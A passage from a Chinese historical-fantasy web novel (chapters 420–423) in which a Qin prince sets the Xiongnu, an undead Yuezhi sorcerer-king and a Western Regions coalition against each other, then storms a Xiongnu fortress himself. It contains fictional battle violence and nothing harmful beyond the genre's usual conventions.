他直起身,环视众人,脸上那抹冷笑愈发清晰!
“我们只需牢牢守住边疆,锁死匈奴东归草原的通道!”
“届时,内有乌孙陀罗这头失控的疯兽,外有援军抵达后心思各异的西域联军。”
“他头曼十几万大军孤悬在外,粮草不继,归路已断!”
“本公子倒要看看,他们这三方,是先把对方生吞活剥,还是……能精诚合作到最后!”
这一招,堪称毒辣!
不仅瞬间将秦军从可能面对的多线作战中解脱出来。
更是将匈奴主力置于了绝境!
同时,巧妙地将西域联军这盆祸水,引向了头曼!
蒙犽独目中精光爆射,瞬间领会了赢子夜这隔岸观火,釜底抽薪之策的精髓。
脸上露出钦佩之色,重重抱拳!
“殿下英明!末将即刻传令!”
“必让头曼那老狼,有来无回!”
“诺!”
众将也齐声怒吼,士气高昂。
……
是时。
狼牙城。
这座被匈奴铁蹄占据不久的边陲重镇,此刻正沐浴在一种不同以往的肃杀氛围中。
城头上的匈奴狼旗无力地垂落。
守城的士兵们紧张地眺望着远方地平线上出现的那支沉默的军队!
那支军队行进间几乎没有发出任何喧哗。
只有整齐划一,沉闷如雷的脚步声!
他们身披大月氏制式的甲胄。
但眼神却空洞无光,面容僵硬如同石刻。
周身散发着一股若有若无,令人心悸的灰黑色死气!
而在军队的最前方,是十二个更加令人胆寒的身影。
他们同样穿着大月氏圣士的服饰。
但原本象征着荣耀与力量的华服,此刻却如同裹尸布般贴合在他们干瘪的躯体上!
他们的皮肤呈现出一种不健康的青灰色。
眼窝深陷,里面跳动着两簇幽冷的鬼火。
他们沉默地行走着,步伐一致。
如同十二具从古老墓穴中爬出的亡灵统帅。
仅仅是他们的存在,就让周围的温度骤降。
空气中,弥漫开一股腐败与死亡的气息!
城头上,负责驻守的匈奴万夫长兀脱,一位以勇悍著称的草原猛将,此刻也感到一股寒意从脊椎升起。
他强自镇定,厉声喝道:“放箭!不能让这些怪物靠近!”
第420章 退无可退,那就迎面痛击!
密集的箭雨如同飞蝗般倾泻而下,射向那支沉默的军队以及为首的十二圣士。
然而,接下来的一幕,让所有匈奴守军魂飞魄散!
面对呼啸而来的箭矢,那支沉默的军队竟不闪不避,依旧迈着整齐的步伐前进!
箭矢射在他们身上,发出“噗噗”的闷响。
却如同射入败絮,无法阻挡他们分毫!!!
他们仿佛没有痛觉,没有恐惧。
甚至被射中了要害,也只是身体晃了晃,便继续前进。
伤口处没有鲜血流出,只有一丝丝灰黑色的死气逸散。
而那十二圣士,更是诡异!
他们甚至没有做出任何防御动作。
箭矢在靠近他们周身三尺之时,便如同撞上了一堵无形的墙壁,速度骤减。
然后,被那缭绕的死气侵蚀、腐朽,最终化为飞灰飘散!
“怪……怪物!他们不是人!”
有匈奴士兵崩溃地大叫,握着弓弩的手剧烈颤抖。
兀脱也是头皮发麻。
但,他不能退!
他怒吼一声,拔出弯刀,周身爆发出指玄境的强悍罡气。
如同猛虎下山,直接从城头跃下,刀光如匹练,斩向为首的一名圣士!
他相信,只要斩了这些领头者,剩下的傀儡不足为惧!
“给老子死!”
面对这凌厉的攻势。
那名圣士只是缓缓抬起了头,空洞的鬼火眸子“看”向兀脱。
他没有拔剑,只是伸出了一只干枯的手掌,对着兀脱的方向,虚空一握!
“嗡!”
兀脱前冲的身影骤然僵在半空!
他惊恐地发现。
自己浑厚的罡气竟如同冰雪消融般迅速溃散!
更可怕的是,他感觉到自己的生命力正在被一股无法抗拒的力量强行抽离!
血液仿佛在倒流。
精气神如同决堤的洪水涌向那名圣士!
“不……这是什么邪术?!”
兀脱发出绝望的嘶吼。
想要挣扎,却发现自己连一根手指都无法动弹。
只能眼睁睁看着自己强壮的身躯以肉眼可见的速度干瘪下去。
皮肤失去光泽,眼神迅速黯淡!
不过短短几个呼吸的时间。
一名指玄境的悍将,就在众目睽睽之下,化作了一具轻飘飘的一碰即碎的干尸!
“啪嗒”一声掉落在地,摔得四分五裂!
与此同时。
其他圣士也动了。
他们并未冲上城头,而是分散开来,口中发出一种低沉晦涩,仿佛来自幽冥的咒文。
随着他们的吟唱,狼牙城周围的荒野中,骤然响起了无数野兽的嘶吼!!
密密麻麻的荒原狼、沙蝰、秃鹫。
甚至一些变异的眼冒红光的巨大蝎虫,如同潮水般从四面八方涌来,疯狂地扑向城墙!
用利爪、獠牙、毒液攻击着守军!
而城下那支不死傀儡军队,也终于抵达了城门口。
他们无视从城头砸下的滚木礌石,直接用身体撞击着厚重的城门,发出沉闷恐怖的“咚咚”声。
他们的力量奇大!
城门在他们的撞击下剧烈震颤!
门栓发出不堪重负的呻吟。
而城墙之上,守军彻底陷入了绝望和混乱!
他们面对的,是一支刀枪不入,不知疼痛的军队!
是能隔空吸干指玄强者的怪物,是操控着疯狂兽潮的亡灵统帅!!
这根本不是战争,这是一场单方面的屠杀,一场来自地狱的收割!
“逃……快逃啊!”
“魔鬼!他们是魔鬼!”
城门最终在一声巨响中被撞开!
灰黑色的死亡洪流涌入城内。
抵抗是徒劳的,逃跑也成了奢望。
十二圣士如同行走的死亡领域!
他们所过之处,生命被无情抽取。
无论是试图反抗的勇士,还是跪地求饶的平民,都迅速化为一具具干尸!
狼牙城,这座刚刚易主的城池,在极短的时间内,再次易手!
但这一次,占领它的并非生者的军队,而是来自幽冥的死亡使者。
城头之上。
残破的匈奴狼旗被扯下。
取而代之的是一面绣着扭曲新月,却被浓郁死气笼罩的诡异旗帜。
在弥漫着血腥与绝望的空气中,无声地飘扬……
……
赤石隘,匈奴王帐内。
气氛压抑得如同暴风雨前的死寂。
头曼单于端坐在铺着完整黑熊皮的狼首大椅上,粗犷的脸上如同覆盖了一层寒霜。
他手中紧紧攥着一份染血的羊皮卷,那上面用歪歪扭扭的匈奴文记述着各城陷落的惨状,以及大将们被吸成干尸的骇人细节!
“砰!”
头曼猛地将羊皮卷狠狠摔在面前的矮几上!
坚硬的木几竟被砸出一道裂痕!
他胸膛剧烈起伏,如同一座即将喷发的火山!
深陷的眼眸中燃烧着熊熊怒火和一种被挑衅的极致暴戾!
“乌孙陀罗……好一个乌孙陀罗!”
头曼的声音从牙缝里挤出来,低沉而危险,仿佛饿狼磨牙。
“本王原以为他只是个丧家之犬,没想到……他竟敢把自己弄成这等不人不鬼的怪物!”
“还敢杀我大将,屠我儿郎!”
他猛地抬头,目光如鹰隼般扫过帐内噤若寒蝉的众将,声音陡然拔高,带着雷霆之怒!
“还有楼兰!龟兹!精绝!那些墙头草,那些只配在沙漠里啃沙子的两脚羊!”
“竟然敢集结联军,想来掺和本王的好事?!”
“十五万?哼!一群土鸡瓦狗,也敢在我匈奴铁骑面前耀武扬威?!”
就在这时。
一名探马连滚爬爬地冲进王帐,脸色惨白,声音颤抖地禀报。
“伟大的单于!不……不好了!”
“刚刚传来急报,狼牙城……狼牙城被攻破了!”
“守军……守军全军覆没,兀脱万夫长他……他力战而亡!”
虽然早有预料。
但确切的消息传来,依旧如同在沸腾的油锅里泼进了一瓢冷水,让整个王帐瞬间炸开!
“什么?狼牙城也丢了?”
“兀脱万夫长可是指玄境的高手啊!怎么会……”
“那些怪物……那些圣士,难道真的刀枪不入,还能吸人魂魄?”
恐慌如同瘟疫般在将领之间蔓延。
不少人脸上露出了惊惧之色!
乌孙陀罗化身鬼王,麾下还有如此诡异的军队,这已经完全超出了他们对战争的认知。
“单于!”
一名资历较老的部落首领忍不住出列,抚胸行礼,语气充满了担忧。
“乌孙陀罗如今邪术诡异,麾下军队更是闻所未闻,如今西域联军又将抵达,我们是否……暂避锋芒,先撤回草原,从长计议?”
“撤?”
头曼猛地站起身,高大的身影在跳动的火把映照下如同魔神。
他发出一声震耳欲聋的咆哮,充满了不屑与暴怒!
“往哪里撤?!”
“秦狗蒙犽已经堵死了我们的退路!”
“我们现在就是一匹闯入羊圈的孤狼,后退就是悬崖!”
他几步走到王帐中央。
目光凶狠地扫过那些面露怯意的将领,声音如同冰冷的弯刀,刮过每个人的耳膜。
“一个靠着邪门歪道,把自己变成怪物的乌孙陀罗,就把你们吓破胆了?!”
“他再厉害,也不过是一个不人不鬼的怪物!”
“本王麾下十几万草原儿郎,难道还怕他一个?!”
他猛地抽出腰间的黄金弯刀,刀锋直指大月氏王庭的方向,杀气冲天而起!
“西域联军不是还没到吗?好!正好!”
头曼脸上露出一个狰狞而狂野的笑容。
“就在他们到来之前,本王要先踏平乌孙陀罗的王庭!”
“拧下他那颗鬼脑袋当酒器!”
他环视众将,声音带着不容置疑的决断和一种近乎疯狂的自信。
“传本单于令!全军集结!”
“放弃所有不必要的辎重,只带十日口粮和箭矢!”
“目标——大月氏王庭!全速进军!!!”
他顿了顿,眼中闪烁着嗜血的光芒,补充道。
“本王倒要亲自看看,那个吸人命的鬼王,是不是真的有三头六臂,能不能挡得住我匈奴铁骑的雷霆一击!”
“谁敢怯战,动摇军心,立斩不赦!”
“遵命!伟大的单于!”
感受到头曼那破釜沉舟的决心和强大的自信,众将心中的恐慌被强行压下。
取而代之的是一股被激发出的凶性。
齐声怒吼,声震王帐!
第421章 全军压上!
几天之后。
石堡城帅府。
赢子夜正与蒙犽及几位核心将领推演沙盘。
门外传来急促的脚步声。
一名风尘仆仆的斥候被亲兵引入,单膝跪地,声音带着长途奔波的沙哑与难掩的激动。
“报——!”
“殿下,蒙将军!前线急报!”
赢子夜目光从沙盘上抬起,平静道。
“讲。”
“禀殿下!”
“匈奴单于头曼,亲率主力与大月氏王乌孙陀罗及其麾下王军,于大月氏都城之外血战数日!”
“战况极其惨烈,双方尸横遍野!”
“据探,连头曼本人都受了不轻的伤!”
斥候的声音在安静的帅府内回荡,引得众将神色一凛!
头曼亲自受伤,可见战况之酷烈!
“然。”
斥候语气一顿,带着一丝不可思议。
“激战数日后,乌孙陀罗终是力有不逮,已率领那十二名诡异圣士及部分残兵,放弃王都,向西北方向败退,现已退守至‘黑石堡’!”
“此外,另有快马加急传讯!”
“西域楼兰、龟兹等国联军,先锋已过‘流沙河’,不日即将抵达大月氏境内,预计将与乌孙陀罗残部汇合!”
消息如同巨石投入深潭,在帅府内激起层层波澜!
众将脸上皆露出惊异之色,低声议论起来。
“头曼……竟然真的击退了乌孙陀罗?”
一名将领难以置信地低语。
“那怪物可是能隔空吸人生命的……”
“头曼本人还受了伤?”
“看来那鬼王确实不好对付。”
赢子夜听着斥候的禀报和将领们的议论,深邃的眼眸中亦是闪过一丝明显的讶异。
他缓缓站起身,走到沙盘前,目光落在大月氏王都那片区域,手指无意识地敲击着盘沿。
“倒是……有些出乎本公子的预料。”
赢子夜轻声开口,声音带着一丝审慎的赞叹。
“头曼此人,不愧为雄踞草原多年的枭雄。”
他回想起与乌孙陀罗化身鬼王后交手的情景。
那吞噬生命力的诡异力量,那不畏伤痛,力大无穷的傀儡圣士,至今想起仍觉棘手。
头曼能在正面战场上将其击退,哪怕自身受伤,这份悍勇与统兵之力,确实不容小觑!
“能在乌孙陀罗那等邪术下,不仅保住大军未溃,还能将其逼退……”
赢子夜微微颔首,眼中对头曼的评价悄然拔高了几分。
“这份本事,当得起他匈奴单于之名。”
然而,这短暂的欣赏迅速被冰冷的战略算计所取代。
赢子夜的目光变得锐利如刀,在沙盘上匈奴主力,败退的乌孙陀罗,以及正在逼近的西域联军三者之间快速移动。
忽然!
他嘴角勾起一抹冰冷到近乎残酷的弧度。
“好!很好!”
“头曼帮我们重创了乌孙陀罗,西域联军又即将入场……”
“这局面,真是越来越有趣了。”
他的声音带着一种掌控棋局的从容与杀机。
他猛地抬头,看向蒙犽和众将。
眼神灼灼,语速加快,带着不容置疑的决断。
“此刻,头曼刚刚经历苦战,虽胜却伤,士气虽旺,兵马必疲!”
“而其身后,西域联军将至,与乌孙陀罗残部汇合后,兵力更盛!”
他手指重重地点在沙盘上代表匈奴主力后方的位置,声音斩钉截铁。
“这正是天赐良机!”
“传本公子令——”
众将瞬间肃立,目光聚焦于他。
“蒙犽!由你亲自坐镇,调集东线磐石、烈风、雷殛三军,合计五万精锐!”
“放弃所有固守姿态,给本公子全力向前压上!”
“猛攻头曼后方粮道、营垒!!!”
他的手指沿着一条路线狠狠向前一推,仿佛要将匈奴主力彻底推入绝境。
“不必与之纠缠,以雷霆之势,撕开他们的防线!”
“给本公子把匈奴这头受伤的恶狼,往西边……往乌孙陀罗和西域联军的方向,再狠狠地逼上一把!”
“我要让他们退无可退,避无可避!”
赢子夜眼中寒光四射,声音带着铁血的无情。
“他不是想看看鬼王有多厉害吗?”
“本公子就让他和西域援军,面对面好好亲近亲近!”
“我们要做的,就是锁死东面,将这潭水彻底搅浑,让他们三方在这西域之地,不死不休!”
“末将遵命!”
蒙犽独目中爆发出骇人的精光,没有任何迟疑,重重抱拳领命。
“末将等领命!”
其他将领也齐声怒吼,战意瞬间被点燃!
帅府之内,杀伐之气冲天而起!!
……
一炷香后。
帅府深处,那间守卫依旧森严的静室内,气氛却比之前缓和了许多。
姬如千泷已然苏醒。
虽然脸色还有些苍白,但气息平稳。
正靠在床榻上,小口啜饮着侍女喂来的清粥。
东君焱妃坐在床边,绝美的容颜上少了几分往日的清冷与疏离,多了几分属于母亲的柔和与劫后余生的庆幸。
当赢子夜的身影出现在门口时,焱妃立刻站起身,对着赢子夜,郑重地行了一礼。
“殿下。”
她的声音带着真挚的感激!
“小女得以脱险,全赖殿下仗义出手,不惜动用重宝。”
“此恩,焱妃没齿难忘!”
赢子夜微微侧身,并未受她全礼,只是平静地摆了摆手,语气淡然却自有分量。
“东君阁下不必多礼。”
“本公子承诺过的事情,从来不会食言。”
他目光扫过床榻上眼神依旧有些怯怯,却好奇望着他的姬如千泷,继续道:“待此番西域事了,返回咸阳之后,本公子自会将之前答应你的,予你母女二人一处安稳栖身之地,并奏禀于父皇。”
“多谢殿下。”
焱妃再次道谢,心中一块大石落地。
有这位深不可测的公子作保,她们母女在秦国的处境,想来不会太差。
然而,赢子夜话锋却是一转,目光变得锐利而深沉,看向焱妃。
“不过,在此之前,本公子希望,东君阁下能替本公子完成一件事。”
焱妃心中微微一凛!
但并未感到意外。
她深知天下没有免费的午餐。
赢子夜救她女儿,固然有其承诺与原则。
但若自己毫无价值,对方又何必如此尽力庇护?
她缓缓抬起头,迎上赢子夜的目光,绝美的脸上恢复了往日的清冷与镇定,颔首道。
“殿下请讲。”
“殿下于小女有再生之恩,但有差遣,焱妃定义不容辞。”
她本能地想到,若没有足够的功劳,即便有赢子夜推荐,那位雄才大略又刻薄寡恩的始皇帝,又怎会轻易恩允她们这等“异国”之人在秦地安稳栖身?
她的目光,不自觉地带着一丝难以割舍的担忧,投向了一旁乖巧安静的女儿。
赢子夜将她的细微反应尽收眼底,直接道明目的。
“本公子需要东君阁下,凭借你的身手和对阴阳术的掌控,潜入如今混乱的大月氏境内,设法……生擒一名‘圣士’回来。”
他顿了顿,语气凝重!
“乌孙陀罗麾下那些圣士,如今已化为只知杀戮与吞噬的傀儡。”
“力量诡异,不惧伤痛,是我军未来可能面对的大敌!”
“本公子要亲自研究,找出他们的弱点与破绽!”
“知己知彼,方能百战不殆。”
他看向姬如千泷,承诺道。
“至于千泷,东君阁下大可放心。”
“在你归来之前,本公子会派最可靠的人手,好生照料于她,绝不让其受半分委屈,安全无虞。”
赢子夜话锋再次一转,语气变得极为郑重,甚至带着一丝罕见的退让。
“当然!”
“本公子也深知,如今大月氏境内局势诡谲,乌孙陀罗化身鬼王,其麾下圣士更是危险异常。”
“此行凶险万分,九死一生。”
“若是东君阁下不愿涉险,本公子亦绝不会强求!”
他目光坦诚地看着焱妃。
“至于先前本公子答应你,庇护你母女,予你们栖身之地一事,诺言既出,自然也是算数的。”
“绝不会因此事,而有任何改变。”
他将选择权,完全交给了焱妃。
静室内陷入了短暂的沉默……
只有姬如千泷细微的呼吸声和粥碗轻碰的声音。
焱妃站在原地,清冷的眼眸中光芒剧烈闪动,内心显然在进行着激烈的挣扎。
一边是刚刚失而复得的女儿。
她恨不得时刻守护在侧。
另一边是赢子夜给出的,获取未来立足资本的机会,以及探查那恐怖敌人弱点的重任!
这其中蕴含的危险,她也心知肚明。
她的目光再次不由自主地落在女儿苍白却生机渐复的小脸上。
心中,充满了不舍与担忧。
但最终。
一想到赢子夜那以性命起誓的担保。
想到未来若无根基在秦国可能面临的艰难。
想到那吞噬生命的鬼王和傀儡圣士对天下生灵可能造成的浩劫……
一种决绝的光芒在她眼中凝聚。
她深吸一口气,仿佛下定了某种决心,对着赢子夜,再次郑重颔首,声音清冽而坚定。
第422章 稳扎稳打,徐徐图进!
黎明前的黑暗最为深沉。
连风都带着刺骨的寒意。
石堡城东门悄然洞开,没有震天的战鼓,没有喧嚣的号角。
只有一股沉默而肃杀的铁流。
在赢子夜的亲自率领下,如同暗夜中潜行的猎豹,扑向匈奴占据的前沿重镇——
风吼堡。
赢子夜一身玄色轻甲,外罩墨色披风,定秦剑悬于腰间,剑鞘古朴,却隐隐有雷光流转!
他骑在一匹神骏的黑色战马上,目光平视前方那座在晨曦微光中显出轮廓的坚城。
眼神冰冷,没有任何波澜。
蒙犽坐镇后方统筹全局。
而这场旨在将匈奴彻底逼入绝境的雷霆一击,他选择亲自执刀!
风吼堡的匈奴守军显然没有料到,在头曼单于主力正与大月氏鬼王血战之际,一向采取守势的秦军会突然发动如此迅猛的攻势!
当城头哨兵发现那如同潮水般涌来的黑色洪流时,惊恐的呐喊才刚刚响起。
赢子夜,已然抬起了手!
“攻城弩,放!”
随着他一声令下!
隐藏在军阵后方的数十架特制攻城弩同时发出沉闷的咆哮!
粗如儿臂,闪烁着寒光的巨型弩箭,带着撕裂空气的尖啸,如同来自地狱的请柬,狠狠地砸向风吼堡的城墙和垛口!!
“轰!轰!轰!”
巨石垒砌的城墙在巨力撞击下剧烈震颤,碎石飞溅!
城头的匈奴守军被这突如其来的远程打击打得抬不起头,惨叫声此起彼伏!
“弓箭手,三轮齐射,覆盖城头!”
赢子夜的声音依旧冷静,如同在棋盘上落子。
早已准备就绪的秦军弓箭手方阵,引弓如满月。
下一刻!
密集如飞蝗的箭矢腾空而起,划破黎明的天空,带着死亡的阴影,如同暴雨般倾泻在风吼堡的城头之上!
箭矢覆盖之下,试图组织反击的匈奴士兵成片倒下。
“架云梯!先锋营,上!”
赢子夜的命令一道接一道,没有丝毫停顿。
高大的云梯被悍不畏死的秦军锐士奋力推向城墙,沉重的梯身重重搭上城垛!
身披重甲,手持利刃的先锋营士兵,口中咬着战刀,如同矫健的猿猴,顶着从城头砸下的滚木礌石和零星射下的箭矢,悍然向上攀爬!!
“拦住他们!快!把云梯推下去!”
城头的匈奴守将声嘶力竭地吼叫着,亲自抱起一块巨石向下砸落。
然而,秦军的攻势太过迅猛,太过坚决!!
赢子夜亲临前线,如同最锐利的刀锋,极大地激励了士气!
士兵们眼中燃烧着狂热的战意。
前赴后继,不顾伤亡!
赢子夜目光如炬,紧紧盯着战场。
他看到一名秦军校尉刚刚攀上城头,便被数名匈奴士兵围攻。
血染战袍,却死战不退!
为后续同袍争取了宝贵的时间!!
他看到有云梯被推倒。
上面的士兵惨叫着摔下,但立刻有新的云梯补上,新的士兵毫不犹豫地继续攀登。
战争的残酷与生命的脆弱,在这一刻展现得淋漓尽致!!
但赢子夜的眼神没有丝毫动摇。
慈不掌兵。
欲成大事,必有牺牲!
他要的,是以最快的速度,最狠的力度,砸碎匈奴人的抵抗意志,将他们彻底打懵!
“时机到了。”
赢子夜喃喃自语。
他看到城头的抵抗在秦军悍不畏死的冲击下,已经开始出现混乱和缺口。
当即猛地一夹马腹,黑色战马如同一道离弦之箭,骤然冲出!!
“殿下!”
身旁的亲卫惊呼,想要阻拦。
但赢子夜的速度太快。
他周身紫雷真气轰然爆发,整个人仿佛化作一道人形雷霆!
几个起落间,竟已冲到城墙之下!
他甚至没有使用云梯,双脚在垂直的城墙面上连点数下,借力腾空。
身形如同大鹏展翅,竟直接跃上了数丈高的城头!
“本公子在此!匈奴蛮夷,受死!”
他一声长啸,如同惊雷炸响,瞬间压过了战场所有的喧嚣!
定秦剑悍然出鞘!!
煌煌紫雷裹挟一丝帝威,缠绕剑身,发出震耳欲聋的噼啪声。
剑光如龙,横扫而出!!
“噗嗤!噗嗤!”
挡在他面前的数名匈奴百夫长、千夫长,甚至连反应的时间都没有。
护体罡气如同纸糊般被撕裂。
连人带兵器被狂暴的雷剑斩为两段!
残肢断臂混合着鲜血内脏四处飞溅!
赢子夜如同虎入羊群。
剑光所向,无人能挡!
紫雷真气至阳至刚,霸道无匹!
匈奴士兵的弯刀砍在他的护体雷罡上,只能迸溅出几点火星。
而他的定秦剑每一次挥动,都必然带起一蓬血雨。
他不仅仅是在杀戮,更是在摧毁敌人的战斗意志。
所过之处,匈奴士兵如同被收割的麦子般倒下,阵型被彻底打乱,恐慌如同瘟疫般蔓延。
“怪物!他是怪物!”
“快跑啊!”
城头的守军彻底崩溃了!
主将的勇武在绝对的实力面前显得如此苍白!
赢子夜的亲自登城,成为了压垮骆驼的最后一根稻草。
“城门已开!大军进城!”
城下,看到赢子夜在城头大展神威,秦军士气大振,爆发出震天的欢呼,更加疯狂地冲击着城门和城墙。
终于。
伴随着一声巨响。
风吼堡厚重的城门被从内部打开。
蓄势待发的秦军主力如同决堤的洪流,汹涌而入!
接下来的战斗,变成了一面倒的追杀和清剿。
失去统一指挥,士气崩溃的匈奴守军,在巷战中根本无法组织起有效的抵抗。
要么被当场格杀,要么跪地乞降。
当太阳完全升起,阳光驱散晨雾,照亮风吼堡时,这座边境雄关已经彻底易主。
城头之上。
残破的匈奴狼旗被扔下。
取而代之的是迎风招展的玄色秦字大旗。
赢子夜站在染血的城楼上,玄甲上也沾染了点点血迹。
但他气息悠长,眼神依旧锐利。
俯瞰着城内逐渐被控制的局面,以及远方隐约可见的匈奴主力所在的方向。
声音冰冷,不带一丝感情。
“肃清残敌,统计战损,加固城防。”
“将此战捷报,速报蒙犽。”
他要的,不是一城一地的得失。
而是要将这把熊熊燃烧的战火,将这令人窒息的压迫感,持续不断,狠狠地砸在头曼和他的匈奴大军背上!!
恰逢此时。
一名传令兵疾步奔上城楼,单膝跪地,声音因激动而微微发颤。
“报——殿下!”
“蒙犽将军令卑职急报!”
“磐石、烈风、雷殛三路大军,依殿下之策,全线出击,已相继攻破匈奴黑水营、断刃谷、风息原三处重要据点!”
“歼敌逾万,缴获辎重无数!”
“匈奴后方防线已呈溃乱之势!!”
此话一出。
城楼上肃立的秦军将领们脸上顿时涌现出狂喜与振奋之色!
连日憋屈的固守,终于在这一刻化作酣畅淋漓的反击。
一道道目光炽热地投向那道玄甲身影,充满了近乎崇拜的敬意。
殿下用兵,当真如雷霆疾火,又似深渊潜流。
不动则已,一动则石破天惊!!
赢子夜闻言,脸上却并未露出太多喜色。
只是那深邃的眼眸中,一丝锐利的光芒稍纵即逝,如同暗夜中划过的流星。
他微微颔首,语气平静无波,仿佛这一切早在他预料之中。
“嗯,知道了。”
他目光掠过城外苍茫的荒野,仿佛能穿透重重空间,看到那片即将沦为血腥角斗场的西域腹地。
嘴角勾起一抹冰冷而一切尽在掌握的弧度。
“传令各部。”
赢子夜的声音清晰地传入每一位将领耳中。
“攻势暂停。”
“所有拿下据点的部队,就地转入防御,依托城池营垒,深沟高垒,稳固战线。”
“全军休整三日,养精蓄锐。”
他顿了顿,语气带着不容置疑的谨慎与远见。
“告诉蒙犽,以及所有前线将领,给本公子稳扎稳打,徐徐推进。”
“绝不可因小胜而骄狂,更不可贪功冒进,擅自出兵。”
“我们的刀,已经架在了匈奴的脖子上,现在要做的,不是急着砍下去,而是……”
赢子夜缓缓转身,目光扫过众将。
最终投向西方。
那里是大月氏残部和西域联军的方向。
“……是好好看看,我们逼过去的这头受伤的恶狼,和那边那个不人不鬼的怪物,究竟能斗到何种地步。”
“本公子,很期待他们两败俱伤的那一刻。”
第423章 坐山观虎斗!
西域腹地,赤沙原。
这片广袤而荒凉的戈壁,此刻成为了决定西域命运的巨大角斗场!
苍穹之下,战云密布,肃杀之气直冲云霄!
一边,是匈奴单于头曼亲率的草原铁骑。
黑色的狼旗如同翻滚的乌云,连绵不绝。
超过八万匈奴精锐骑兵排成巨大的冲击阵型。
人马皆披重甲,弯刀映照着惨淡的日光,散发出冷冽的寒芒!
他们经历了与大月氏鬼王的血战,虽折损不小,伤亡不小,但残存下来的皆是百战余生的真正悍卒,眼神中带着被逼入绝境的疯狂与草原狼族特有的嗜血!
头曼矗立在阵前。
即便身上带伤,那雄壮的身躯依旧如同山岳,黄金弯刀遥指前方,咆哮声激励着全军士气!
另一边,则是号称十五万的西域联军!
楼兰的重甲步兵方阵如同移动的钢铁森林。
巨大的盾牌连接成墙,长矛如林,步伐沉重而统一。
龟兹的弓骑兵灵活如风,在马背上展现出惊人的骑射技艺,箭囊饱满!
精绝的弯刀武士悍勇轻捷……
还有其他诸国各式各样的兵种。
旗帜繁杂,色彩斑斓,汇聚成一片喧嚣而庞大的浪潮!
联军统帅,楼兰老将窦祜,白须飘洒,眼神锐利,试图以绝对的兵力优势,一举碾碎这头受伤的草原恶狼!
没有过多的言语,当战鼓擂响,号角长鸣,这场注定惨烈的碰撞轰然爆发!
“匈奴的儿郎们!”
“随本单于,踏平这些西域杂碎!杀——!”
头曼声如惊雷,一马当先,发起了匈奴最擅长的集团冲锋!
数万铁蹄同时叩击大地,发出雷鸣般的巨响!!
整个赤沙原都在颤抖,如同末日降临!
骑兵洪流带着摧毁一切的气势,狠狠撞向联军看似厚实的阵线!
“稳住!弓弩手,放箭!”
窦祜厉声高呼。
刹那间,遮天蔽日的箭矢从联军后方升起!
如同死亡的暴雨倾泻而下,落入冲锋的匈奴骑兵之中,人仰马翻者不计其数!
但匈奴骑兵冲锋的势头太猛。
前面的倒下,后面的立刻补上,踩着同袍的尸体继续前冲!
“轰——!”
钢铁与血肉狠狠撞击在一起!
最前排的楼兰重步兵依靠着巨盾和长矛,死死顶住了骑兵的第一波冲击。
无数匈奴战马和骑士撞得筋断骨折!
但后续的骑兵依旧如同浪潮般不断拍击着防线!
龟兹弓骑兵则游弋在侧翼,不断用精准的箭矢削弱着匈奴的兵力。
精绝武士则如同灵活的猎豹,伺机突入匈奴阵中,掀起一片片血雨腥风!
战场彻底陷入了混乱而残酷的绞杀!
骑兵的冲锋与步兵的坚守,弓箭的覆盖与弯刀的劈砍……
怒吼、惨叫、兵刃碰撞声、战马嘶鸣……
各种声音混杂在一起。
每一刻都有生命在消逝,鲜血染红了黄沙,尸体堆积如山。
战斗从清晨持续到午后,双方都付出了惨重的代价。
匈奴骑兵的冲击力在联军厚实的兵力和严密的阵型面前被逐渐消耗!
而联军试图包围歼灭匈奴主力的意图,也在匈奴骑兵悍不畏死的反冲锋下屡屡受挫!
战局陷入了极其惨烈,难分难解的胶着状态。
谁也无法轻易击溃对方。
胜负的天平,在尸山血海之上剧烈地摇摆着……
……
石堡城。
赢子夜专属的静修密室内,氤氲的紫雷真气缓缓收敛,融入他四肢百骸。
他刚刚结束一轮周天运转,气息愈发深沉内敛,如同深渊潜龙。
就在这时,密室外传来赵弋苍低沉而略带急促的声音。
“主上,北疆急报!”
赢子夜缓缓睁开双眼,眸中紫电一闪而逝。
他起身,推开密室石门,只见赵弋苍持着一份密封的军报,脸上带着难以抑制的振奋之色。
“讲。”
“禀主上!”
“十八公子胡亥已率精锐铁骑,横扫匈奴王庭!”
“留守王庭的匈奴贵族或降或逃,各部族后方已呈土崩瓦解之势!”
“主要战事已基本平定,唯有零星小股部落仍在流窜,已不足为虑!”
赢子夜接过军报,快速扫过。
脸上依旧平静。
但那双深邃的眼眸深处,却仿佛有惊涛骇浪在酝酿。
北疆……
这个困扰了大秦数十年的心腹大患,竟然在如此短的时间内,以这样一种近乎摧枯拉朽的方式,被基本平定!
这其中虽有他西域布局牵制匈奴主力的功劳。
但胡亥的迅猛果决,也着实出乎他的预料。
“彩!”
赢子夜合上军报,只吐出一个字,声音不高,却带着千钧之力。
他大步流星,径直走向帅府议事厅。
此刻,议事厅内已聚集了蒙犽等一众核心将领,显然也都收到了北疆的惊天捷报。
人人脸上都洋溢着激动与兴奋,低声交谈着,气氛热烈!
北疆平定,意味着帝国终于可以腾出手来,全力经营西域,再无后顾之忧。
直到赢子夜的身影出现在门口,厅内瞬间安静下来,所有目光都聚焦在他身上。
他步履沉稳地走到主位前,目光缓缓扫过在场每一位将领振奋的面容,声音清晰而有力地响起。
“诸位,想必都已经知晓北疆传来的捷报了吧?”
“殿下,我等已知!”
众将齐声回应,声音洪亮,充满了与有荣焉的豪情。
“北疆战事,十八弟居功至伟,已大致平定!”
赢子夜肯定了北疆的功绩。
但随即,话锋一转,语气变得锐利如刀!
目光也投向了厅中巨大的西域沙盘。
“然,北疆之胜,只是解了我大秦一臂之困!”
“真正的盛宴,才刚刚开始!”
“我等的目光,当完全聚焦于此——西域之地!”
他一步踏到沙盘前,手指重重地点在代表目前秦军控制区域的东部防线!
“北疆既定,我大秦便可倾力西顾!”
“传本公子令——”
所有将领瞬间挺直脊梁,屏息凝神。
“即刻以八百里加急,传令北疆王贲将军!”
“命他迅速收拢兵力,稳固已占领之北疆各城池、要隘,清剿残敌,恢复秩序!”
“北疆,需要尽快从战乱中恢复过来,成为帝国稳固的后方!”
“第二,命十八弟,不必滞留北疆,即刻率领其麾下得胜之师,挥师西进,以最快速度,抵临我西北边疆一带!”
赢子夜的手指沿着漫长的西北边境线划过。
“他的任务,是接替蒙犽将军部分防务,并进一步巩固,加强整个西北边疆防线!”
“我要这条防线,固若金汤,成为一道匈奴和大月氏永远无法逾越的铁壁!”
“第三。”
赢子夜的声音陡然拔高,带着一股凌厉的杀伐之气!
手指猛地刺向沙盘上西域腹地的几个关键节点。
“命上将军蒙恬,休整之后,率其北疆主力一部,迅速南下,抵达西域赤岩走廊、风鸣谷、流沙城一带!”
“给本公子以雷霆之势,占据这几处交通咽喉与战略重镇!!”
